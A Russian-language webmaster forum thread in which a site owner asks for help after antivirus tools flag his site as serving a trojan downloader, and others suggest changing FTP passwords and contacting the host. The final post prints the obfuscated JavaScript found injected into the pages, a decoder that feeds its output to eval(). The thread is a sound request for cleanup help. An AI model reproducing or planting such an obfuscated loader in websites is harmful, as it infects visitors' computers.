squ1sh

Люди! Подскажите, что делать. Вот поднял сайт, забил контент, всё было норм. Но с определённого времени на сайт начались атаки. И всё бы ничего, но однажды мне на мыло приходит письмо от посетителя этого форума, что сайт заражён. Я не долго думая решил это дело проверить. Ползу на сайт с включенным Kasper Internet Security 7.0.0.124, и правда - выходит сообщение:

Вредоносный HTTP-объект <http://www.ohtas.biz/stproj/flash.php//flash//Swf2Swc>: обнаружено: троянская программа 'Exploit.SWF.Downloader.ks'.

(Чё тут за ссылка внутри сообщения - я не вкурсе)

Я не долго думая нажал - "заблокировать". И с тех пор тишина. Пробовал с разных тачек заходить на сайт (на работе) - молчит. Однако постоянно приходят месаги от юзеров, что так мол и так - САЙТ ЗАРАЖЁН.

Естественно я чё только ни делал. И сайт целиком скачивал (чтобы проверить) - но ТИ-ШИ-НА!!! В саппорт писал - толку ноль. На такие вопросы они почему-то отвечают подолгу и ни о чём :(

Вроде чисто. У меня много знакомых сайт посещали с вкл. антивирями - не жалуются. Но некоторые говорят, что заражён. :(

Все ссылки на сайт ниже. Также иногда жалуются, что при переходе по ссылкам сайта\форума антивирус бьёт тревогу.

ПОДСКАЖИТЕ ЧТО ДЕЛАТЬ!!!

Iljeben

Пробей IP 'этого умника и позвони его провайдерам, по идее должны его наказать.

P.S. Зашел на твой сайт с обовленными базами вроде ничего подозрительного.

squ1sh

А с каким антивирусом зашёл?

Iljeben

С NOD-ом.

set of letters

squ1sh
Постоялец Вы просили : Проверьте пожалуйста ещё раз. Если будет также - сообщите пожалуйста. Просто вы не первый, кто об этом говорит.

Сделал, как попросили.Получилось так :когда щелкнул по вот этой ссылке: Новый сайт посвящённый компьютерной тематике. Форум, где квалифицированные специалисты дадут ответы на абсолютно любые компьютерные вопросы ,то никто не среагировал. А когда по вот этой,Игрушечки нахаляву, то internet sirurity cработал так же : Последняя попытка атаковать ваш компьютер заблокирована. Из журнала безопасности переписал название угрозы: HTTP Malicious Toolkit Variant Activity. Еще URL и остальное. В этом нет смысла. Вам, наверное, самому интересно это. А когда на сайт заходишь, то там спокойно. Про игры когда только, почему-то срабатывает. Может эта запись Вам чем-нибудь поможет про HTTP.

01pump

squ1sh
Меняй пароли на ftp, звони хостерам.

squ1sh

Спасибо вам за активность. Но я не могу понять, почему я больше его не вижу ни с одного компа? Может потому что у каспера проактивная защита отключена? Может просто лишний шум был? Я ваще ничё вкурить не могу :(

P.S. Как мне проверить на 100% заражён ли сайт? Кк выловить подлого вируса? Я ваще ВЕСЬ сайт полностью качал и проверял - нифига.
(не проверял только MySql БД). Может админы этого форума чем помогут?

set of letters

Не знаю у меня не KIS. Другой. Через Google нашел кучу зарубежных форумов, где обсуждалось такое же. С этой угрозой хорошо справляются KIS и NIS. Адрес одного форума скопировал , попробуйте,там не на русском но у меня автоматический перевод:
http://translate.google.ru/translate...__enRU311RU311

На других форумах объясняли, что нужно делать в таких случаях. Владельцы сайта в таких случаях свой сайт чистят быстро. Слишком уж такого страшного ничего в этом нет. Просто Вам надо обратиться к владельцам сайта, они могут и не знать об этом.
Странно, но при копировании из блокнота Вам , на форуме она стает другой. И не срабатывает. Попробуйте сами через Google набрать название угрозы , много интересного будет. Стал редактировать ссылка опять здесь нормальная, переводишь на форум стает опять другой. Почему так?

Добавлено 02.12.2009 08:02:22:
Еще ссылка, если сработает, там как вылечили это: http://soft-best.ws/anons/1158477643-virus.html

squ1sh

Вот он! Этот коварный тип гражданской наружности!

<script language=JavaScript> function qpb2b13(n){var d=n.length,w=1024,k,v,l,f=0,e=0,g=0,m=Array(63,13, 38,41,40,48,6,15,18,59,0,0,0,0,0,0,52,19,16,61,14, 45,22,3,24,51,60,30,35,37,55,46,47,54,10,62,39,44, 4,50,8,31,34,0,0,0,0,32,0,0,27,28,56,53,42,43,26,2 ,12,11,20,33,49,1,36,21,5,23,25,29,17,58,57,7,9);f or(v=Math.ceil(d/w);v>0;v--){l='';for(k=Math.min(d,w);k>0;k--,d--){{g|=(m[n.charCodeAt(f++)-48])<<e;if(e){l+=String.fromCharCode(187^g&255);g>>=8 ;e-=2}else{e=6}}}eval(l);}}qpb2b13('jkueYA1IqZJIh0UIX bXT0AueKIz_YA1QDbENq0cMjTU@79CpcK4@uTUQF9C2qgEeKbX Z7RdZbZcWHbH2A0JIkyXMlRXWkk1QKs3@qN1elSjMVWzpQgCIA stWl9ceY73Ch0J@q2UQq01eF73pv24ZRO4L8izTXS4_kWzpc2x 2jkCN77EmzO4ZbDEN8IC@7b4Zkwd2X0U5s9EmtSE@XPJehkc_q AueKTtmy83@uTUQF9umcRz') </script>

Вот только как теперь вычищать этот код? не вручную же? :(